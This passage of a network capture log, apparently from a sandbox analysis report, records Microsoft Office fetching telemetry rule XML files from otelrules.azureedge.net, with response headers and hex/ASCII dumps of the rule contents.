T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:38 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:38 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9009c19b-701e-0053-74c6-453a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174538Z-1746fd949bdqpttnhC1EWRe1wg000000049000000000dvwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:38 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:38 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: d196cbda-901e-008f-5e03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174538Z-r1cf579d778dc6d7hC1EWR2vs800000000s0000000002xkn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:38 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:38 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:38 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7eb0f396-d01e-0066-0ac6-45ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174538Z-1746fd949bddgsvjhC1EWRum2c00000004q0000000010uqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:38 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:38 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:39 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:38 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 32c7b88d-b01e-003e-5b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174538Z-r1cf579d7789trgthC1EWRkkfc00000000ng000000005f47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:45:39 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:40 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:40 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 5f5d2afa-901e-0015-66cc-45b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174540Z-1746fd949bdw2rg8hC1EWR11u400000004v0000000008s73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:41 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:40 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 86181af4-001e-0028-7c75-47c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174540Z-1746fd949bdtlp5chC1EWRq1v400000004fg00000000e5kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:40 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:40 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 6baa9d1a-801e-0048-02ce-45f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174540Z-1746fd949bd4w8sthC1EWR7004000000049g00000000d3z5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:41 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:40 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:40 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 935017b2-001e-0017-80c6-450c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174540Z-1746fd949bdb8xvchC1EWRmbd400000004e000000000pkrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:41 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:40 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:41 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 715419d5-801e-0078-38c7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174541Z-1746fd949bd7wvgbhC1EWR0rgs00000004g000000000v2y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:41 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:42 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:43 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:43 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: c73ff22a-601e-0097-54c1-45f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174543Z-1746fd949bdtlp5chC1EWRq1v400000004cg00000000un2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:43 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:42 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:43 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:43 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 0e2e5981-501e-0035-17c1-45c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174543Z-1746fd949bdlqd7fhC1EWR6vt000000004s0000000007kpq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:43 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:42 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:43 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:43 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9b021dfd-501e-0047-60c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174543Z-1746fd949bdhk6hphC1EWRaw3c00000004d000000000180a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:43 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 